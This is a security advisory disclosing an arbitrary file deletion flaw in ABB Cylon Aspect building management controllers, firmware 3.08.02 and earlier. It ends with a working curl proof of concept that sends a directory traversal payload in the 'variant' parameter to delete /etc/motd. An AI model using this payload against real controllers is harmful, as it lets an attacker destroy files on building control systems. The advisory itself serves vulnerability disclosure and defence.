ABB Cylon Aspect 3.08.02 has a file deletion vulnerability allowing authenticated attackers to delete files.
<html><body><p>ABB Cylon Aspect 3.08.02 (clearProjectConfigurationAjax.php) File Deletion
Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
Firmware: <=3.08.02
Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.
Desc: The BMS/BAS controller suffers from an arbitrary file deletion vulnerability.
Input passed to the 'variant' parameter in clearProjectConfigurationAjax.php is not
properly sanitised before being used to delete files. This can be exploited by an
authenticated attacker to delete files with root permissions using directory traversal
sequences passed within the affected POST parameter.
Tested on: GNU/Linux 3.15.10 (armv7l)
GNU/Linux 3.10.0 (x86_64)
GNU/Linux 2.6.32 (x86_64)
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
PHP/7.3.11
PHP/5.6.30
PHP/5.4.16
PHP/4.4.8
PHP/5.3.3
AspectFT Automation Application Server
lighttpd/1.4.32
lighttpd/1.4.18
Apache/2.2.15 (CentOS)
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2024-5889
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5889.php
21.04.2024
--
$ cat project
P R O J E C T
.|
| |
|'| ._____
___ | | |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
____| '-' ' "" '-' '-.' '` |____
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$ curl -X POST http://192.168.73.31/clearProjectConfigurationAjax.php \
> -H "Cookie: PHPSESSID=xxx" \
> -d "key=159&\
> variant=../../../../../../etc/motd"
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